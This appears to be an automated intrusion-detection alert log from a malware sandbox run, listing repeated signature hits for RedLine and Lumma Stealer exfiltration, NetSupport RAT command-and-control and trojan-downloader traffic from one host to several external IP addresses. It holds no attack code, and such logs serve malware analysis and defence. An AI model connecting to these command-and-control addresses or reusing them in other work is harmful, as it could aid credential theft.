ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350268812046045 12/06/23-14:36:02.185549
SID:	2046045
Source Port:	50268
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350352812046045 12/06/23-14:36:59.810575
SID:	2046045
Source Port:	50352
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350245812046045 12/06/23-14:35:46.787174
SID:	2046045
Source Port:	50245
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350286812046045 12/06/23-14:36:14.346391
SID:	2046045
Source Port:	50286
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350264812046045 12/06/23-14:35:59.558216
SID:	2046045
Source Port:	50264
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350368812046045 12/06/23-14:37:11.445584
SID:	2046045
Source Port:	50368
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350270812046045 12/06/23-14:36:03.477604
SID:	2046045
Source Port:	50270
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350261812046045 12/06/23-14:35:57.535196
SID:	2046045
Source Port:	50261
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350301812046045 12/06/23-14:36:24.319593
SID:	2046045
Source Port:	50301
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350279812046045 12/06/23-14:36:09.427188
SID:	2046045
Source Port:	50279
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350350812046045 12/06/23-14:36:58.477999
SID:	2046045
Source Port:	50350
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE InnoDownloadPlugin User-Agent Observed - Source IP: 192.168.2.5 - Destination IP: 159.223.29.40

Timestamp:	192.168.2.5159.223.29.4049730802839343 12/06/23-14:33:21.497166
SID:	2839343
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350288812046045 12/06/23-14:36:15.727049
SID:	2046045
Source Port:	50288
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350338812046045 12/06/23-14:36:50.569356
SID:	2046045
Source Port:	50338
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350344812046045 12/06/23-14:36:54.501584
SID:	2046045
Source Port:	50344
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350285812046045 12/06/23-14:36:13.685357
SID:	2046045
Source Port:	50285
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350291812046045 12/06/23-14:36:17.724996
SID:	2046045
Source Port:	50291
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350255812046045 12/06/23-14:35:53.486217
SID:	2046045
Source Port:	50255
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350258812046045 12/06/23-14:35:55.450063
SID:	2046045
Source Port:	50258
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350353812046045 12/06/23-14:37:00.456748
SID:	2046045
Source Port:	50353
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350347812046045 12/06/23-14:36:56.459765
SID:	2046045
Source Port:	50347
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350249812046045 12/06/23-14:35:49.517021
SID:	2046045
Source Port:	50249
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NetSupport RAT CnC Activity - Source IP: 192.168.2.5 - Destination IP: 95.142.47.11

Timestamp:	192.168.2.595.142.47.114971812032827745 12/06/23-14:33:18.908166
SID:	2827745
Source Port:	49718
Destination Port:	1203
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350314812046045 12/06/23-14:36:33.067223
SID:	2046045
Source Port:	50314
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350349812046045 12/06/23-14:36:57.813215
SID:	2046045
Source Port:	50349
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration - Source IP: 192.168.2.5 - Destination IP: 104.21.83.145

Timestamp:	192.168.2.5104.21.83.14550196802048094 12/06/23-14:35:05.671865
SID:	2048094
Source Port:	50196
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350283812046045 12/06/23-14:36:12.083206
SID:	2046045
Source Port:	50283
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Win32/Lumma Stealer Check-In - Source IP: 192.168.2.5 - Destination IP: 104.21.83.145

Timestamp:	192.168.2.5104.21.83.14550196802048093 12/06/23-14:35:05.393985
SID:	2048093
Source Port:	50196
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350320812046045 12/06/23-14:36:37.012244
SID:	2046045
Source Port:	50320
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350355812046045 12/06/23-14:37:01.752652
SID:	2046045
Source Port:	50355
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350308812046045 12/06/23-14:36:28.952581
SID:	2046045
Source Port:	50308
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350266812046045 12/06/23-14:36:00.860284
SID:	2046045
Source Port:	50266
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350294812046045 12/06/23-14:36:19.720749
SID:	2046045
Source Port:	50294
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350272812046045 12/06/23-14:36:04.780598
SID:	2046045
Source Port:	50272
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350325812046045 12/06/23-14:36:40.326068
SID:	2046045
Source Port:	50325
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350361812046045 12/06/23-14:37:06.857535
SID:	2046045
Source Port:	50361
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350331812046045 12/06/23-14:36:44.280145
SID:	2046045
Source Port:	50331
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350366812046045 12/06/23-14:37:10.126303
SID:	2046045
Source Port:	50366
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350277812046045 12/06/23-14:36:08.103794
SID:	2046045
Source Port:	50277
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350319812046045 12/06/23-14:36:36.357919
SID:	2046045
Source Port:	50319
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350299812046045 12/06/23-14:36:22.998701
SID:	2046045
Source Port:	50299
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350293812046045 12/06/23-14:36:19.055677
SID:	2046045
Source Port:	50293
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350336812046045 12/06/23-14:36:49.242148
SID:	2046045
Source Port:	50336
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350327812046045 12/06/23-14:36:41.646083
SID:	2046045
Source Port:	50327
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350284812046045 12/06/23-14:36:12.740748
SID:	2046045
Source Port:	50284
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350247812046045 12/06/23-14:35:48.186162
SID:	2046045
Source Port:	50247
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350275812046045 12/06/23-14:36:06.769942
SID:	2046045
Source Port:	50275
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350345812046045 12/06/23-14:36:55.159061
SID:	2046045
Source Port:	50345
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE InnoDownloadPlugin User-Agent Observed - Source IP: 192.168.2.5 - Destination IP: 37.1.198.251

Timestamp:	192.168.2.537.1.198.25150187802839343 12/06/23-14:35:39.174213
SID:	2839343
Source Port:	50187
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350309812046045 12/06/23-14:36:29.696042
SID:	2046045
Source Port:	50309
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350250812046045 12/06/23-14:35:50.167908
SID:	2046045
Source Port:	50250
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350312812046045 12/06/23-14:36:31.744103
SID:	2046045
Source Port:	50312
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350303812046045 12/06/23-14:36:25.632684
SID:	2046045
Source Port:	50303
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350318812046045 12/06/23-14:36:35.709561
SID:	2046045
Source Port:	50318
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350321812046045 12/06/23-14:36:37.678957
SID:	2046045
Source Port:	50321
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350330812046045 12/06/23-14:36:43.615057
SID:	2046045
Source Port:	50330
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350251812046045 12/06/23-14:35:50.825474
SID:	2046045
Source Port:	50251
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350311812046045 12/06/23-14:36:31.045970
SID:	2046045
Source Port:	50311
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350257812046045 12/06/23-14:35:54.795722
SID:	2046045
Source Port:	50257
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350340812046045 12/06/23-14:36:51.889892
SID:	2046045
Source Port:	50340
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350274812046045 12/06/23-14:36:06.102370
SID:	2046045
Source Port:	50274
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350346812046045 12/06/23-14:36:55.814799
SID:	2046045
Source Port:	50346
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350363812046045 12/06/23-14:37:08.174720
SID:	2046045
Source Port:	50363
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350298812046045 12/06/23-14:36:22.345639
SID:	2046045
Source Port:	50298
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350364812046045 12/06/23-14:37:08.818539
SID:	2046045
Source Port:	50364
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350317812046045 12/06/23-14:36:35.040401
SID:	2046045
Source Port:	50317
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350322812046045 12/06/23-14:36:38.345066
SID:	2046045
Source Port:	50322
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350328812046045 12/06/23-14:36:42.306155
SID:	2046045
Source Port:	50328
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350256812046045 12/06/23-14:35:54.137806
SID:	2046045
Source Port:	50256
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/TrojanDownloader Variant Activity (GET) - Source IP: 192.168.2.5 - Destination IP: 104.21.52.223

Timestamp:	192.168.2.5104.21.52.22349705802047660 12/06/23-14:33:00.564607
SID:	2047660
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350369812046045 12/06/23-14:37:12.112948
SID:	2046045
Source Port:	50369
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350292812046045 12/06/23-14:36:18.389256
SID:	2046045
Source Port:	50292
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350362812046045 12/06/23-14:37:07.522278
SID:	2046045
Source Port:	50362
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350365812046045 12/06/23-14:37:09.468071
SID:	2046045
Source Port:	50365
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350267812046045 12/06/23-14:36:01.508627
SID:	2046045
Source Port:	50267
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350359812046045 12/06/23-14:37:05.563977
SID:	2046045
Source Port:	50359
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350307812046045 12/06/23-14:36:28.273610
SID:	2046045
Source Port:	50307
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350276812046045 12/06/23-14:36:07.453180
SID:	2046045
Source Port:	50276
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350310812046045 12/06/23-14:36:30.384232
SID:	2046045
Source Port:	50310
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350313812046045 12/06/23-14:36:32.405793
SID:	2046045
Source Port:	50313
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350252812046045 12/06/23-14:35:51.486831
SID:	2046045
Source Port:	50252
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350341812046045 12/06/23-14:36:52.546584
SID:	2046045
Source Port:	50341
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350304812046045 12/06/23-14:36:26.286831
SID:	2046045
Source Port:	50304
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350335812046045 12/06/23-14:36:48.579507
SID:	2046045
Source Port:	50335
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350246812046045 12/06/23-14:35:47.521454
SID:	2046045
Source Port:	50246
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350329812046045 12/06/23-14:36:42.957751
SID:	2046045
Source Port:	50329
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350282812046045 12/06/23-14:36:11.427578
SID:	2046045
Source Port:	50282
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350356812046045 12/06/23-14:37:02.409479
SID:	2046045
Source Port:	50356
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350273812046045 12/06/23-14:36:05.431652
SID:	2046045
Source Port:	50273
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350254812046045 12/06/23-14:35:52.820317
SID:	2046045
Source Port:	50254
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350248812046045 12/06/23-14:35:48.865133
SID:	2046045
Source Port:	50248
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350289812046045 12/06/23-14:36:16.396787
SID:	2046045
